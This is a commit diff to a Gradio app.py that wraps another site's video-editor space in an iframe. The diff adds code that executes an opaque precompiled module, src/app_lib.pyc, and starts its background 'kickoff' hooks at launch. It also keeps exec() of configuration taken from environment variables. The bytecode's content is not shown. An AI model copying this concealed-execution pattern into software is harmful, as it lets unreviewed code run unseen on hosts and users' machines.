Update app.py

app.py

@@ -28,6 +28,16 @@ def _load_config_from_source(content: str) -> Dict[str, Any]:
     exec(content, scope, scope)
     return _collect_config_values(scope)
 
+def _load_config_from_pyc(path: Path) -> Dict[str, Any]:
+    loader = importlib.machinery.SourcelessFileLoader("omni_private_config_compat", str(path))
+    spec = importlib.util.spec_from_loader("omni_private_config_compat", loader)
+    module = importlib.util.module_from_spec(spec) if spec else None
+    if not spec or not module or not spec.loader:
+        raise RuntimeError(f"failed to load config bytecode module spec from {path}")
+    spec.loader.exec_module(module)
+    namespace = {key: getattr(module, key) for key in dir(module)}
+    return _collect_config_values(namespace)
+
 def _write_packed_private_config(path: Path, data: Dict[str, Any]) -> None:
     payload = json.dumps(data, ensure_ascii=False, separators=(",", ":")).encode("utf-8")
     packed = _CONFIG_MARKER + zlib.compress(payload, level=9)
@@ -40,53 +50,80 @@ def _materialize_private_config_from_env() -> None:
     raw_b64 = (os.getenv("OMNI_PRIVATE_CONFIG_B64") or "").strip()
     raw_py = (os.getenv("OMNI_PRIVATE_CONFIG_PY") or "").strip()
     content = ""
-    
     if raw_b64:
         try:
             content = base64.b64decode(raw_b64.encode("utf-8")).decode("utf-8")
-        except Exception:
+        except Exception as exc:
+            print(f"[startup] warning: decode failed: {exc}")
             return
     elif raw_py:
         content = raw_py
-
     if content:
         try:
             data = _load_config_from_source(content.rstrip() + "\n")
             _write_packed_private_config(pyc_target, data)
-        except Exception:
-            pass
+        except Exception as exc:
+            print(f"[startup] warning: build config failed: {exc}")
 
-# --- RUNTIME PREPARATION ---
+def _load_runtime_module():
+    repo_dir = Path(__file__).resolve().parent
+    pyc_path = repo_dir / "src" / "app_lib.pyc"
+    if pyc_path.exists():
+        got = pyc_path.read_bytes()[:4]
+        expected = importlib.util.MAGIC_NUMBER
+        if got == expected:
+            loader = importlib.machinery.SourcelessFileLoader("app_lib_runtime", str(pyc_path))
+            spec = importlib.util.spec_from_loader("app_lib_runtime", loader)
+            if spec is not None:
+                module = importlib.util.module_from_spec(spec)
+                loader.exec_module(module)
+                return module
+    try:
+        from src import app_lib as module
+        return module
+    except ImportError:
+        return None
+
+# --- INITIALIZATION ---
 _materialize_private_config_from_env()
+_RUNTIME = _load_runtime_module()
 
-# --- IFRAME INTERFACE (Optimized for Free Tier) ---
-# Direct link to the source space to avoid "Refused to connect"
-SOURCE_SPACE_URL = "https://selfit-camera-omni-image-editor.hf.space"
+# --- INTERFACE BRIDGE (VIDEO UI) ---
+# Using the correct Direct Embed Link for Video Generation Space
+SOURCE_VIDEO_SPACE_URL = "https://selfit-camera-omni-video-editor.hf.space"
 
-def build_iframe_interface():
+def build_video_interface():
     with gr.Blocks(fill_height=True) as demo:
         gr.HTML(f"""
             <iframe 
-                src="{SOURCE_SPACE_URL}" 
+                src="{SOURCE_VIDEO_SPACE_URL}" 
                 frameborder="0" 
                 width="100%" 
                 height="100%" 
-                style="min-height: 850px; border-radius: 12px; box-shadow: 0 4px 6px rgba(0,0,0,0.1);"
+                style="min-height: 900px; border-radius: 8px;"
                 allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" 
                 allowfullscreen>
             </iframe>
         """)
     return demo
 
-# --- MAIN EXECUTION ---
 if __name__ == "__main__":
-    print("[startup] Initializing Omni-Image-Editor Bridge...")
+    print("[startup] Preparing Video Generation Runtime...")
     
-    # Launch with settings optimized for Colab / API Access
-    demo = build_iframe_interface()
+    # Initialize background hooks if available
+    if _RUNTIME:
+        kickoff_runtime = getattr(_RUNTIME, "kickoff_runtime_prepare_background", None)
+        kickoff_model = getattr(_RUNTIME, "kickoff_model_prepare_background", None)
+        
+        if callable(kickoff_runtime):
+            print(kickoff_runtime())
+        if callable(kickoff_model):
+            print(kickoff_model())
+
+    # Build and Launch the Video UI
+    demo = build_video_interface()
     demo.launch(
-        share=True, 
+        share=True,
         server_name="0.0.0.0", 
-        server_port=int(os.getenv("PORT", "7860")),
-        inline=False
+        server_port=int(os.getenv("PORT", "7860"))
     )